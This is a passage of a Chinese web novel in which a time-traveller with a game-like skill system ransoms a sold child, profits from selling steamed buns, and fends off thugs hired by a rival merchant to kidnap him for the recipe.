白雪儿吹灭油灯,摸索着钻进李逸的被窝,像往常一样缩成小小的一团,前几日还是睡着后偷偷溜进李逸被窝,近来今日是干脆演都不演了。
李逸侧身搂着白雪儿,另一只手悄悄伸出被窝,似乎早就有所准备,他的手很轻易的就握住了秦心月的手。她的手掌带着常年习武留下的老茧却很温暖,李逸嘴角不自觉地扬起一抹浅笑,心中安稳了许多。
次日清晨,生物钟准时唤醒了李逸。醒来时,他只觉得身体被牢牢固定住,睁眼发现秦心月和白雪儿一左一右地贴在他身上,一条胳膊一条腿都被压住了。
白雪儿还在呼呼大睡,小脸红扑扑的,另一边的秦心月则睁着大眼睛,正一眨不眨地盯着他。
四目相对,秦心月脸颊瞬间涨红,连忙心虚地移开视线,飞快地收回手脚,身体一滚就缩回了自己的被窝,只留下后背对着他,被子裹得严严实实。
这般模样的秦女侠竟让李逸觉得有些可爱,笑着调侃:
“秦女侠,咱们该起床练功了吧?夫君我这两日没练,你可得好好教教我。”
“嗯……”秦心月的声音从被子里传来,闷闷的,带着一丝不易察觉的羞赧。
等了片刻,见她没动静,李逸才缓缓探过身。秦心月刚好也抬起头,四目再次相撞,她的脸更红了,连忙闭上眼睛装睡。
李逸率先穿衣起身,来到院子里练习《气合拳》。
刚打完第四遍,就看到院门外探进来一个脑袋,不用看也知道是陈氏,惦记着今天的事情,她定是一夜没睡好,早早便来等候了。
没来得及吃早饭,练完拳后,李逸便和陈氏动身出发。
原本想赶骡车,转念一想,此行并非炫富,若是赶着骡车去,对方定会见财起意漫天要价,反而把事情复杂化。于是李逸用布袋装了两斗粟米,背上箩筐,二人徒步出门。
娘娘村不算太远,就在去乡里的必经之路旁的一个岔路口,这条路李逸走了好几次,张绣娘一说岔路的位置,他便了然于心。
积雪未化,路面有些滑,二人深一脚浅一脚地走了一个多时辰,才终于抵达娘娘村。
进村前,李逸反复叮嘱陈氏:“到了之后,你什么都不用多说,一切听我安排就好。”
陈氏连连点头,双手紧张地绞着衣角。
娘娘村规模不大,现在只有三十多户人家,李逸拦住一位在路边割茅草的老汉,打听清楚吴大家的位置,循着指引走去。
看到那座歪斜的土墙、漏风的柴门,他不由得皱了皱眉,这家人看着家境贫寒,孩子被卖到这怕是遭了不少罪。
在院门口喊了几声,一对四五十岁的老夫妇走了出来。李逸没有绕弯子,故意摆出怒气冲冲的模样,谎称自己是陈氏的亲弟弟,前来讨要被拐走的侄子。
吴大当即不乐意了,梗着脖子辩解:“谁拐了,谁拐了!你莫要胡说!这孩子是我用粮食换来的,又不是抢来的,凭什么给你?”
李逸顺势提出,愿意用两斗粟米赎回孩子,对方自是不愿松口。
一番讨价还价,最终以两斗粟米外加六十三钱,成功将孩子赎了回来。
陈氏接过孩子的那一刻,再也忍不住了,抱着孩子又哭又笑,泪水顺着脸颊滚落,滴在孩子瘦小的脸上。
这女童有十几个月大了,瘦得皮包骨头,小小的身躯蜷缩在陈氏怀里,竟不如李逸之前见过的七八个月大的孩子壮实,
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一双大眼睛怯生生地望着四周,看得人心头发酸。
李逸连忙从箩筐里拿出一件厚实的冬衣和一块兔皮,小心地将孩子裹好,天寒地冻的这一路可是不能给孩子冻着。
吴大和他媳妇原本有两个儿子,战乱时被强行征兵再也没回来。老两口年岁大了无法生育,便想买个孩子养大,将来好给他们养老送终。若不是家里实在揭不开锅,他们也不会轻易松口还回孩子。
李逸暗自庆幸没赶骡车来,否则对方定敢狮子大开口,索要上千钱。
赎回孩子后,陈氏像是解了心头的大石,整个人都有了精气神。往后每日来李逸家干活,更是卖力的不像话,孩子平日里就由白雪儿和于巧倩帮忙照看,两个姑娘细心周到,孩子也格外乖巧不哭不闹。
短短十天时间,馒头在安平县的冬日里掀起了一阵热潮,王记酒肆每日客人络绎不绝,那些大户人家一来就买几十上百个馒头,弄得王金石不得不实行限量供应,价格也涨到了十五钱一个。
李逸家炕头发老面的木桶不知不觉就增加到了十个,由张绣娘和陈氏一起负责蒸馒头,他偶尔帮忙和面。如今一天能做四百个馒头,兜里的铜钱就像滚雪球一样越积越多。张绣娘已经赚了上千钱,陈氏也攒了几百钱,两人脸上的笑容越来越多,对日子也越发有盼头。
安平县城,王记酒肆....
继老母寿宴上的虎肉之后,王金石再次在县城里出尽了风头。上回的虎肉只有少数人吃到了,可这次的馒头,却成了各大门大户夫人小姐的心头好,人人追捧。
就连县令伍思远和县丞张贤,都得托关系才能买到馒头。王记酒肆的生意比起往日翻了三倍不止,只因王金石定了规矩,在酒肆喝酒的客人,可优先购买馒头。
“哎呀,实在对不住啊各位,今日的馒头已经卖光了,想要的话,明日可得趁早来啊!”
王金石站在店门口,脸上堆着歉意的笑容,眼底却藏不住得意。
“王店主,你就不能多做些吗?我这都来第三天了,才买到两个馒头,家里人都不够分啊!”一位身穿绸袍的中年男人不满地抱怨,语气中带着无奈。
“就是啊,我跑了两趟都空手而归,这馒头也太抢手了!就不能多做些!”
旁边几位客人也跟着附和,都是些有头有脸的人物,却为了几个馒头天天往酒肆跑。
“各位稍安勿躁,稍安勿躁!”
王金石双手抱拳,笑着解释:“这馒头制作工艺很繁琐,一天能做的数量有限,还请各位多多包涵!多多包涵”
街对面的一条阴暗胡同里,站着两个人,远远地望着酒肆门口的热闹景象,以及王金石那副春风得意的模样。
“打听清楚了吗?”
身穿狐裘、头戴皮帽的中年男人沉声问道,语气中带着一丝阴鸷,他正是陈芳斋的老板陈林!
陈家在安平县是数一数二的高门大户,城中最大的布行、食肆都是陈家的产业,连半数的食盐生意都被他们垄断,财力比王家还要雄厚。
上回王金石老母寿宴,带头质疑虎肉真假的就是他。
“回东家,打听清楚了。”旁边一个下人打扮的男人恭敬地回话:“费了些力气才买通了酒肆的一个伙计,那馒头的配方不在王金石手里,是一个村里的农户每天送来的。”
陈林眯了眯眼睛,手指无意识地摩挲着腰间的玉佩。
这些日子,王记酒肆凭着一个小小的馒头,生意越发红火,反倒抢了他陈芳斋的客源,这让他心里十分不爽。他也尝过那馒头,确实比粟米粥、粟米饭美味得多,若是能把配方弄到手,不仅能多一桩赚钱的买卖,还能打压王金石的气焰,可谓一举两得。
听到王金石手里也没有配方,陈林嘴角微微上扬,眼中闪过一丝算计:“派人天天在这儿盯着,一旦发现那个送馒头的农户,立刻把他给我带过来!”
“是,东家!”下人恭敬地应道,目光紧紧盯着酒肆门口,生怕错过目标。
寒风卷起地上的枯叶,胡同里一片寂静,只留下两人阴沉的身影,透着一股不怀好意的气息......
第五十六章:生了儿子就叫李白
寒风呼啸的清晨,院中的枯枝被北风卷得簌簌作响,细碎的雪沫子顺着门缝钻进来,在地面积起薄薄一层。
李逸在院中时缓时急地打着《气合拳》,身侧的秦心月动作与他几乎完全同步,一拳一脚、一转一移,二人宛若镜像复刻,招式间透着沉稳的力道。
二人身后,白雪儿虎着小脸,小眉头拧成疙瘩,双手紧紧攥着小拳头,认真学着动作。她眼神炯炯,小脸紧绷,努力模仿着李逸的姿态,可手脚却总也跟不上节奏。
待李逸和秦心月转身时,她慌忙跟着转,脚下不知何时已相互缠绕,“哎哟”一声,左脚绊右脚,结结实实地摔在雪地里,扬起一片细碎的雪沫。
白雪儿疼得呲牙咧嘴,可看到李逸看过来的目光,又连忙装作毫无影响,鼓着腮帮子嘟囔:
“都怪这腿脚不听话!我才没有这么笨呢!”
李逸和秦心月见状,无奈地笑了笑,秦心月连忙上前搀扶。
第五遍《气合拳》打完,收式的瞬间,李逸眼前骤然弹出系统提示:
【武功熟练度+1】
【生存技能:武功升级】
【获得奖励:敏捷+1】
【获得奖励:《气合拳呼吸法》】
看着武功升级的额外奖励,李逸心中满是疑惑。
他本以为升级会奖励新的武学招式,什么《独孤九剑》《九阳神功》《辟邪剑法》《葵花宝典》.....却没想到只是一套呼吸法。
秦心月传授他《气合拳》时,也曾教过配合动作的呼吸方式,那时只觉得顺畅,如今对照新的呼吸法才发现,原来之前的方法竟有多处偏差,虽能强身健体,却违背了《气合拳》练气养意的主旨。
正思忖间,脑海中仿佛有灵光炸开!
无数关于格斗的信息涌入脑海,不是飞天遁地的高深武学,而是极为实用的擒拿、摔跤、拳击等技巧,附带详细的理论知识与训练法门,甚至还有人体要害分布图,每一处都标注着攻击的效果。最后《气合拳呼吸法》的内容缓缓展开,李逸仔细研读后,心中惊诧!
这呼吸法详尽至极,从吸气的深浅、呼气的节奏到与招式的配合时机,都讲解得一清二楚,更指出了秦心月所教方法的弊端:浅吸急呼,难聚内气,徒耗体力,非长久之计。按此呼吸法练习,方能在体内真正修炼出气,也就是江湖传说中的内功!
李逸心头一跳:难不成自己练着练着,真要变成飞檐走壁的江湖高手了?
秦心月见他双眼紧闭,周身气息似有流转,原本平稳的呼吸变得悠长,脸上满是惊疑,自家夫君这是顿悟了?
片刻后,李逸睁开双眼,眸中闪过一丝清亮,迎上秦心月的目光,嘴角勾起淡淡笑意:
“心月,我忽然觉得,这《气合拳》的呼吸法或许有些偏差,等我梳理清楚,咱们一同探讨修正。”
听他语气郑重,不似玩笑,秦心月缓缓点头,眼底满是期待。她能感受到李逸身上的变化,那种沉稳的气场,比之前更加强烈了。
陈氏的小女儿还没有正式名字,平日里就小四小四地喊着,瘦小的身子像只小猫,哭声都细弱无力。李逸看着孩子枯黄的头发,提议让孩子随母姓,又帮着起了个名字叫陈苗苗。
村里孩子名字太过雅致反而显得突兀,苗字寓意着这瘦小的女娃能像幼苗般茁壮成长,经得起风雨。
陈氏大字不识,听李逸念了两遍名字,连连点头,眼角眉梢都是笑意,抱着孩子喃喃道:
“苗苗,我的苗苗……”
于巧倩也赞赏道:“这名字朴实又吉利,叫着也顺口,甚好。”
反观白雪儿早已捧着脸蛋开始幻想,小手不自觉地摸了摸自己的肚子,眼神亮晶晶的:
“以后我生了女儿就叫李雪,像雪花一样好看,生了儿子就叫李白,听着就厉害!”
一句话逗得李逸险些憋不住笑,这要是真生个儿子叫李白,他这个当爹的怕是得提前备好一肚子诗书,供儿子日后装比用,总不能让诗仙的名字白叫。
白雪儿见李逸笑,以为他是赞同,笑得更开心了,凑到李逸身边拉着他的衣袖摇晃:
“夫君,你说这名字好不好嘛?”
“好,都听我们雪儿的。”李逸笑着应下,心道:这丫头,心思全放在生娃上了。
今日李逸要去县城给王金石送馒头,足足攒了一千一百多个。
自从陈氏加入,她和张绣娘分工明确,一个和面一个蒸制,动作越来越熟练。白雪儿和于巧倩得空就来搭把手,效率比之前快了不少,一笼馒头半个时辰就能蒸好,热气腾腾的,香气能飘满半个村子。
天刚亮,张绣娘就带着豆子和大丫来了。娘仨都戴着李逸亲手缝制的皮帽,豆子把帽子拉得遮住半张脸,只露出一双圆溜溜的眼睛,时不时用袖子抹一把鼻涕。
张绣娘的手始终攥着帽绳,指尖摩挲着柔软的皮**,那模样,仿佛手里攥着的不是帽子,而是稀世珍宝。
这顶帽子是李逸特意给她做的,比孩子们的还厚实好看,暖在头上更暖在心里。
“三叔!我们来啦!”
豆子撒着欢跑进院子,背上还背着李逸给他做的小木弓,弓身是用坚韧的桦木做的,缠了细密的麻绳,整日当个宝贝似的不离身,连睡觉都要放在身边。
见李逸在套骡车,豆子抹了把冻出来的鼻涕,仰着小脸,满眼期待:“三叔,我想跟你去县城看看”
“臭小子,别胡闹!”张绣娘连忙上前嗔道。
李逸揉了揉豆子的脑袋,又看向一旁腼腆的大丫,笑着许诺:
“天太冷,路上风大,三叔回来天都黑透了,冻着你们就不好了。等来年开春暖和了,三叔带你们俩一起去县城逛逛,好不好?”
豆子开心地蹦起老高,嘴里欢呼着:“好哎!三叔最好了!”
大丫也抬起头,眼中闪过一丝欣喜,小声说道:“谢谢三叔。”
看着李逸与孩子们亲昵的模样,张绣娘的眼神柔得像水,心中泛起一丝说不清道不明的暖意。
一旁的白雪儿却皱着小眉头,双手无意识地绞着围裙,满脸愁容!看着李逸忙碌的背影,心里像揣了只小兔子,七上八下的。
这都一个月了,夫君还没让她侍寝,不仅是她,巧倩姐、心月姐也都没有。
这些日子,李逸待她们都很好,有好吃的先紧着她们,有好衣服也先给她们做,可就是不提侍寝的事!
白雪儿觉得自己都胖了好几斤,身子养得很好了,正是给李家开枝散叶、生个大胖小子的好时候,可夫君怎么就不着急呢?就不怕公爹生气再托梦?
她心思飘忽,以至于李逸赶着骡车离开,她都忘了出去送送。
“雪儿?雪儿?”于巧倩连喊了好几声,白雪儿才像受惊的小鹿般抬起头。
“啊?夫君呢?”她慌忙在院子里扫视一圈,骡车和李逸的身影早已不见,顿时急了,眼眶微微发红:“夫君都走了,我都没送送他,也没给他装些吃的路上垫肚子……”
“你刚才在发什么呆?魂不守舍的。”于巧倩拉着她进屋,柔声问道。
白雪儿看了眼院中忙碌的张绣娘和陈氏,悄悄将于巧倩拉到里屋,关上门压低声音,带着几分委屈和试探问道:
“姐姐……你……你有没有趁我睡着时,偷偷侍寝啊?”
于巧倩脸颊瞬间涨红,像熟透的苹果,嗔怪地瞪了她一眼:“哎呀...你这丫头,说什么呢?”
“那就是心月姐?”
白雪儿的眉头皱得更紧,嘟着嘴:“是不是我哪里做得不好,夫君不喜欢我了?”
于巧倩伸手帮她抚平眉头,柔声劝道:“心月也没有。夫君这些日子太忙了,每天天不亮就起来练拳,白天要么打猎,要么做木工活,晚上回来还要处理兽皮、琢磨新活计,躺到炕上就睡着了,你听他鼾声打得那么响,定是累坏了。”
白雪儿刚舒展的眉头又拧了起来,双手托着下巴,一脸凝重:
“这可如何是好呀!冬天夫君都这么忙,等来年开春开垦荒地、种庄稼、岂不是更忙?不让我侍寝,我怎么给李家开枝散叶啊?我娘说,女人家就得早点生娃,才能多生几个。”
于巧倩看着她焦急的模样,无奈地叹了口气。雪儿心思单纯,认定了李逸是好夫君,就一门心思扑在传宗接代上,觉得这是她作为妻子最大的责任。
她轻声安抚:“别着急,夫君心里有你,等他忙完这阵子,自然会……会找你的....”
“阿嚏!”
骑在大骡子背上的李逸突然打了个喷嚏,他疑惑地缩了缩脖子,裹紧了身上的皮袄。
我不是要感冒吧?
距离医术技能升级的熟练度还差8点,李逸盘算着实在不行还得去张绣娘那刷熟练度,按摩一次给2点熟练度的话,四次就够了。
上次送馒头时,王金石说过,自从抓住那伙劫税粮的**后,安平县的匪祸明显少了很多。想来是其他山匪听到消息,忌惮如今风头正劲的赵县尉,不敢轻易作乱。这对百姓来说,无疑是件好事,能安稳过冬了。
李逸心里清楚,这些匪寇中,除了藩王争霸的败军,更多的是吃不饱穿不暖的穷苦农户。连年战乱,土地荒芜,百
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姓们走投无路,才不得不铤而走险。若是人人都能安居乐业,有饭吃、有衣穿,谁又愿意冒着**的风险落草为寇呢?
“哒哒哒……”
刚到正午,李逸就赶着骡车进了县城。城门口,兵卒们正搓着手取暖,看到骡车过来,刚要上前查验,其中一个年轻兵卒突然眼睛一亮,快步迎了上来。
“李大哥!真的是你!”
李逸定睛一看,是张小牛,上次和他一起进山剿匪的新兵。
如今的张小牛,穿着崭新的差服,腰里挎着刀,比之前精神了不少。他快步走到骡车前,脸上满是喜色:“李大哥,你可算来了!多亏了你,我现在已经升为伍长了!”
“张兄弟,恭喜恭喜!”李逸笑着抱了抱拳。
“这么冷的天还要站岗,真是辛苦了”
张小牛拍着胸脯,转头对另外三个兵卒大声吩咐:“你们都记好了啊,这位是李大哥,县尉大人的兄弟!以后李大哥进城,直接放行,不用查验啊!”
另外三个兵卒连忙点头应是。他们早就听说,上次抓捕劫粮**,全靠两个厉害的猎户相助,不仅没折损人手,还杀了十几个**,追回了全部税粮,想来这位就是其中一位,自然不敢怠慢。
李逸与张小牛寒暄了两句,问了些赵县尉的近况,得知赵川最近正在操练士兵。
与此同时,王记酒肆街对面的阴暗胡同里,陈忠正双手插在袖筒里,冻得不停跺脚,脚后跟都快冻僵了。他缩着脖子,眼睛死死盯着酒肆的门口,生怕错过目标。
这是家主陈林亲自交代的任务,务必抓住那个送馒头的农户,逼问出馒头的配方。
陈林说了,不惜一切代价,哪怕绑票也要把人带回来。陈忠不敢怠慢,生怕出了差错,索性亲自在这里蹲守,连口热水都不敢喝。
一辆骡车缓缓驶过,没有在酒肆门前停留,径直驶入侧面的胡同,正是李逸的车。
“来了!”
陈忠精神一振,连忙转身,快步跑进胡同深处。
上一次就是这辆骡车,他没放在心上,后来询问买通的伙计才知道,这就是那送馒头农户的车,王金石特意吩咐过,可直接驶入后院喂骡加料,不用经过前堂。
没过多久,陈忠带着八个破衣烂衫的汉子回来了。
这些人满脸污垢,头发乱糟糟的,身上的衣服补丁摞补丁,有的甚至露着脚踝,落魄得像乞丐。他们挤在狭窄的胡同里,冻得瑟瑟发抖,却眼神不善,透着一股贪婪的光。
陈忠压低声音,恶狠狠地吩咐:“你们都给我麻利点!等他出城,就把人给我绑了!事成之后,一人给两百钱!放心不是**害命,事后我会放了他的,听明白没?”
“明白!”八个汉子异口同声地应着,声音里满是急切。
两百钱能买很多米粮,去赌坊碰碰运气,语气好整个冬天就不用发愁了。
几人在寒风中等了小半个时辰,冻得嘴唇发紫,终于看到骡车从胡同里驶了出来。
“快点,跟上!别跟太近,免得被他发现,出城再动手啊!”陈忠连忙叮嘱,搓了搓冻僵的手。
八个汉子先后走出胡同,远远地跟在骡车后面。骡车没有直接出城,反而先去了集市,李逸下车,买了几袋子小麦和大豆,又买了些其他东西,才慢悠悠地向城门方向赶去。
“这小子买了不少东西,身上肯定带了不少铜钱!”
一个瘦高个汉子舔了舔干裂的嘴唇,眼神愈发贪婪:
“不如咱们绑了他之后,把他的钱和粮食分了?反正陈管家只说要人,没说不准拿东西!”
“好!我看成!就这么办!”另一个矮胖的汉子附和道:“这小子看着就是个农户,肯定没什么本事,绑他还不是手到擒来!”
其他人纷纷点头,眼神越发贪婪。
骡车很快到了城门口,出城时,张小牛上前和李逸说了几句话。
领头的瘦高个汉子见状,心里开始盘算:一会得绕路回城,不能走这个城门,免得被官兵发现,骡车也得藏起来,等拿到钱和粮食,再找地方处理。
眼看着骡车驶出城门,顺着官道向前走,瘦高个汉子一挥大手:“快,跟上!别让他跑了!”
八个汉子加快脚步,像饿狼一样追了上去。
张小牛刚送走李逸,就看到这八个落魄汉子一起出城,他们的路线明显是跟着李逸,形迹十分可疑。这些人,他也认得几个,都是城里的地痞无赖。
张小牛心中骤然一紧,想到一种可能,眼睛瞬间眯起,当即对身边兵卒说道:“你们俩在这守着,你,跟我上去看看!”
第五十七章:我还没出力,他们就倒下了
一千一百多个雪白松软的馒头,王金石清点过后,爽快地递过七千铜钱,上次李逸卖一整头猛虎才得八千钱,如今不过几屉馒头竟有这般收益。
李逸不禁暗自感慨:在这生产落后、物资匮乏的古代,那些养尊处优的富户大户们,怕是真没尝过什么新奇美味,现代社会那些美食随便拿出一样都是不得了的稀罕物。
这让李逸心中愈发笃定,豆腐必须尽快提上日程!不仅能让自家吃上鲜嫩的豆腐,更是另一桩稳赚不赔的生计。可念头刚起,人手不足的难题便涌上心头,无论是蒸馒头还是做豆腐,想要扩大规模,光靠家里几人远远不够。
李逸忽然想起了何铁牛。自从得了他送的脱壳工具,知晓在家脱粟米也能赚钱后,何铁牛便真如一头蛮牛般勤恳,起早贪黑地忙活,光是往乡里送脱好的精米就跑了两趟。他和婆娘刘氏忙活十几天,竟赚了足足八百钱。
如今何家余粮充足,手头有了闲钱,刘氏脸上整日挂着笑意,再也不见往日的愁苦。以前顿顿清汤寡水,如今一日三顿都有粘稠的粟米粥,偶尔还能吃上一顿干饭。她对卧病在床的婆婆也温和了许多,每日端粥送水,虽算不上多孝顺,却也不再像从前那般刻薄。
何铁牛为人憨厚实诚,只要李逸开口,说有赚钱的买卖,他定然会毫不犹豫地答应。可刘氏却是个爱计较、爱打小算盘的性子,若是让她知晓了馒头和豆腐的做法,怕是用不了多久就会想着单干,总想多赚几分利。
不过李逸倒也不怎么在意,凭借现代人的见识和当下低下的生产力,他光是推出各种新奇吃食,就足够他赚得盆满钵满。做这些吃食本就是用来快速积累原始资本的,等风头过后,任凭做法流传开来也无妨。
做的人多了,售卖的价格自然会降,久而久之,这些曾经的稀罕物,总会变成寻常百姓也能吃得起的寻常食物,大众美食。
正思忖间,一阵细碎的脚步声夹杂着粗重的喘息,从身后随风传来。李逸心有所感转头望去。
只见后方不远处,八个汉子正跌跌撞撞地追赶上来,这八个人他在城里时便已留意到,这般严寒天气,街上本就行人稀少,他们却扎堆聚在一起,鬼鬼祟祟地跟着,格外扎眼。
李逸心中一动,他暂时还无法确定这些人是单纯想劫粮抢钱,还是另有图谋,但他丝毫不慌。
如今的身体素质早已不是刚穿越时那般孱弱,今早武功技能突破后,脑海中又多了诸多实用的格斗技巧,他正愁没地方试验,没想到就有活靶子主动送上门来。
“驾!”
李逸抬手,用手中的树枝轻轻抽打了一下大骡子的屁股。骡车顿时加快速度,车轮碾过积雪,留下两道深深的辙痕。
车后追着的八人见状,一咬牙拼尽全力追赶,气喘吁吁地跑了半天才勉强追上,一个个弯着腰,双手撑着膝盖大口喘气,冻得发紫的嘴唇不停哆嗦。
“喂!把车停下!”
最先冲上来的汉子,满脸横肉,挡在骡车前,双手叉腰大声喝道,语气中满是蛮横。
“吁......”
李逸缓缓拉了拉缰绳,骡车稳稳停下,瞬间便被这八人团团围住。他不急不躁地跳下车,对着几人拱手笑道:“不知几位好汉拦我的车,有何指教?”
见李逸故作糊涂,那个瘦高个汉子咧嘴冷笑,语气讥讽:
“兄弟几个最近日子不好过,所以想让你接济接济。你这骡车、车上的粮食,还有你身上的钱,全都留下!另外.....你还得跟我们走一趟!”
“走一趟?去哪?”李逸挑眉,故作疑惑。
“不该问的别瞎问!老老实实听话,就少让你受点苦头!”
另一个矮胖汉子恶狠狠地威胁道,眼神在骡车上的粮食袋上打转,满是贪婪。
看这架势、听这语气,这八人显然不是第一次干这种拦路**的勾当。
李逸忍不住笑了,语气轻松:“不好意思各位好汉哥,我这人什么都能吃,就是不能吃苦,还请见谅!”
“**!这小子敢耍我们!给我教训他!”
满脸横肉的汉子怒喝一声,率先挥着拳头冲了上来。
李逸如今的人物属性是力量2、体质4、敏捷3、智力2。
力量和智力与普通人相差无几,但体质和敏捷早已超出常人范畴,面对冲上来的汉子,他的身体几乎本能地就做出反应,脚下轻轻一错,在积雪上留下一道划痕,灵巧地侧身避开拳头,同时右脚小幅度快速弹出,精准踢在对方的小腿迎面骨上。
“哎呦!”
汉子发出一声凄厉的惨嚎,疼痛让他瞬间失去重心,重重扑倒在雪地里,整张脸都埋进雪里。
李逸所用的全是最简单实用的格斗技巧,没有半分花哨的架势。八个汉子看似人多势众,可在绝对的速度和力量面前,根本不堪一击,短短两分钟,这场看似悬殊的打斗便已虎头蛇尾地结束。
李逸虽也挨了几拳几脚,但凭借4点体质带来的强悍抗击打能力,根本算不上受伤,顶多有些皮肉发麻。
另外在战斗前他故意加快骡车速度,就是为了消耗这些人的体力,有自信固然好,但能动脑就变更轻松的活,没有必要全靠蛮力解决。
这些人一看就食不果腹、体虚力弱,又这般拼命追赶,早已气喘吁吁,就算不用格斗技巧,李逸单凭身体素质也能轻松应对。
那个最先被踢倒的汉子,挣扎着想要爬起来,李逸身形一晃,瞬间冲到他面前,脑中灵光一闪,竟是用上了重生前在短视频里看到的招式,剪刀腿绞脖摔!
他加速前冲跳起,双腿快速缠绕住对方的脖颈,腰身发力,猛地一旋,只听嘭的一声闷响,汉子被硬生生甩飞出去,重重砸在地上,半天动弹不得。
李逸自己也有些意外,这是他第一次实战用这招,按视频里的流程,他本该跪姿着地,用腿将对方牢牢压住,可刚才力道没控制好,他竟然直接把人甩飞了。
“啧……有瑕疵....”
李逸心中暗自可惜,下意识转头看向身后挣扎着想要站起来的几人。
虽说招式用得不算完美,但那瞬间的视觉冲击力却极强!人都被甩飞了!
剩下的七个汉子被这一幕吓得目瞪口呆,脸上的凶光瞬间褪去,取而代之的是深深的恐惧。
见李逸看过来,七人动作整齐划一,扑通一声全都跪倒在雪地里,连连磕头:“好汉!饶命啊!我们再也不敢了!”
“饶命!都是陈家的管家让我们来绑你的,不关我们的事啊!”
不等李逸询问什么,这些怂货便争先恐后地把幕后主使供了出来,生怕说晚了挨揍。
“陈家管家?谁啊?”李逸眉头微蹙,心中满是疑惑。
他来安平县时日不长,从未听过什么陈家,更别提陈家管家了,他与对方往日无冤近日无仇,为何要派人来绑他?
似乎看出了李逸的疑惑,另一个跪着的汉子连忙补充道:
“好汉有所不知,这陈家在安平县城可是一等一的大户人家!城里最大的食肆陈芳斋、陈记布行,都是他们家的产业,就连全县一半的盐,都是他们家在卖!”
李逸双眼微微眯起,最大的食肆?
那....不正是王记酒肆的直接竞争对手吗?
哦....原来如此,必定是因为馒头啦!
如今王记酒肆的馒头卖得风生水起,不仅吸引了大量食客,还带动了酒水生意,自然会触动同行的利益。
陈芳斋既是最大的食肆,生意被影响的必然最严重,心中记恨就想出这种下三烂的手段。
“老郭诚不欺我啊,同行果然是冤家……”李逸在心中感慨。
幸好他选择与王金石合作,若是单枪匹马在县城闯荡,他还不知要面临多少明枪暗箭。
就在这时,身后又传来急促的脚步声。李逸转头望去,只见两个兵卒装扮的人正快步赶来,跑在前面的是守城门的张小牛。
他跑得满头大汗,额前的汗水顺着脸颊滑落。
“李大哥!你没事吧?”张小牛远远地便高声喊道,语气中满是关切。
看到他这副模样,李逸心中微微一动。
显然,张小牛是发现这八人形迹可疑特意追上来的。这份真诚的关切,并非表面客套
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,而是发自内心的,往往这样的人,是值得深交的。
李逸笑着挥了挥手,语气轻松:
“没事,就几个小**贼想拦路**,我还没怎么出力,他们就倒下了。”
那个被甩飞的汉子刚缓过劲,挣扎着坐起身,张小牛恰好路过。
他抬起手一记刀鞘狠狠抽在男人的脸上,骂道:
“真是狗胆包天!竟敢在县城外劫掠!如今城里正在严查匪患,等带回县衙,有你们好果子吃!”
原本对着李逸磕头求饶的几人,见状连忙转向张小牛,膝盖在雪地里挪了挪,继续哀求:
“兵爷!饶命啊!我们知道错了!”
“兵爷,都是陈家管家指使我们干的,我们也是被逼的!”
听到陈家管家四个字,张小牛的眉头瞬间皱了起来,显然他比李逸更清楚陈家的背景。
他快步走到李逸身边,压低声音说道:“李大哥,若是真牵扯到陈家,想要揪出主谋,怕是不容易。”
见李逸投来问询的目光,张小牛继续解释:
“这陈家在安平县城势力庞大,听说和县丞张大人还有亲戚关系……”
话说到这里,便戛然而止。
李逸瞬间明白其中深意,**结,自古便有,如此想要扳倒陈家,没有确凿证据,难如登天。
“没事,先把这些人带回去,其他的事情日后再说吧。”李逸平静地说道。
涉及案件,李逸不得不跟着返回县城。
张小牛是个机灵人,知道此事非同小可,直接带着人去了县衙,找县尉赵川禀报。
赵川一听,有人竟敢在城外顶风作案,行劫掠之事,气的鼻子都要歪了。
“好家伙!老子刚带兵剿匪立了功,就有人敢在这个时候触霉头,真把本县尉当成摆设了?”
尤其是听到此事牵扯到李逸,赵川更是怒火中烧。
只有参与过当日剿匪的人才知道,若非李逸和另一个厉害猎户,他们根本不可能如此顺利地拿下那伙**。因此赵川对李逸颇为欣赏,对外更是毫不避讳地以兄弟相称。
可当听到陈家二字时,赵川的怒火渐渐平息,眉头也皱了起来。
他虽不怕陈家,但陈家家大势大,又和县丞张贤沾亲带故,没有真凭实据贸然动手,只会给自己惹来麻烦。
在安平县,县令伍思远是当之无愧的一把手。
县丞与县尉作为县令的左膀右臂,一文一武,虽属平级却素来互不待见。
赵川虽不惧张贤,却也不想无故交恶,给自己平添阻碍。
“李兄弟,只凭这些无赖的片面之词,我们根本没办法动陈家管家分毫啊。”
赵川直言不讳,他性子直爽,不喜欢拐弯抹角。
李逸笑着抱拳,语气坦然:“县尉大人说的是,抓贼要抓赃,口说无凭,不能作为证据的。所以此事到此为止便好,你也不必再深究。”
赵川连连点头,赞许道:“你能想通其中的利害关系就好!”
他似是突然想起了什么,话锋一转:“对了!我倒是想起一件事!这陈家的陈老板,素来和王金石不对付!上次王金石老母寿宴,就是他带头质疑虎肉是假的,要不是王金石拿出完整的虎皮,怕是要被他搅黄了!”
听到这里,李逸彻底理清了前因后果。
无论在哪个时代哪个行业,竞争从未缺席,他选择与王金石合作,间接得罪了陈家这等竞争对手,也是意料之中,无法避免的事。
“多谢县尉大人提醒,此事我知晓了,回去后会和王店主说明,让他多加防备。”
李逸拱手道谢。顿了顿又说道:
“县尉大人,等我忙完这段时间,便来和你细说那**的做法。到时候,还需要劳烦你找些手艺精湛的能工巧匠,尤其是铁匠。”
赵川正想提及此事,见李逸主动说起,当即笑着答应:
“好说!好说!我一定给你找全县最好的铁匠!”
离开县衙,李逸没有立刻回家,而是转身去了王记酒肆,他必须把此事告知王金石,让他有所准备。
另外,他怀疑酒肆的伙计中,有人被陈家买通,泄露了送馒头的行踪……
第五十八章:漂亮的妻子和无能的我
王记酒肆内,气氛压抑沉寂......
王金石将所有伙计都招呼到前厅,挺着圆滚滚的大肚子,双手背在身后,阴沉的目光像扫落叶似的扫过每一个伙计的脸。
“呵呵呵……好啊!真是好得很!”他冷笑两声,声音里满是寒意。
“养不熟的白眼狼!”
“哥哥我自认待你们不薄吧?工钱比别家铺子开得高,逢年过节还让你们往家带些吃食,谁家里有急用,我哪次不是提前给了工钱?”
王金石顿了顿,眼神像鹰隼似的锐利,一一扫过伙计们的脸,试图从他们的表情里找出破绽。
“可就是这样,偏偏有人吃着我的饭,还想着去舔陈家的碗!”
他猛地提高声音,震得屋顶的灰尘都簌簌往下掉:“陈林和我是什么过节,你们心里不清楚?”
“是谁干的,自己站出来!领了这个月的工钱赶紧滚蛋,我既往不咎!若是等我查出来,别怪我心狠,打断你一条腿!”
话音刚落,扑通一声,站在最后排的一个年轻伙计双腿一软直直跪在了地上,浑身像筛糠似的抖着,额头的冷汗顺着脸颊往下淌。
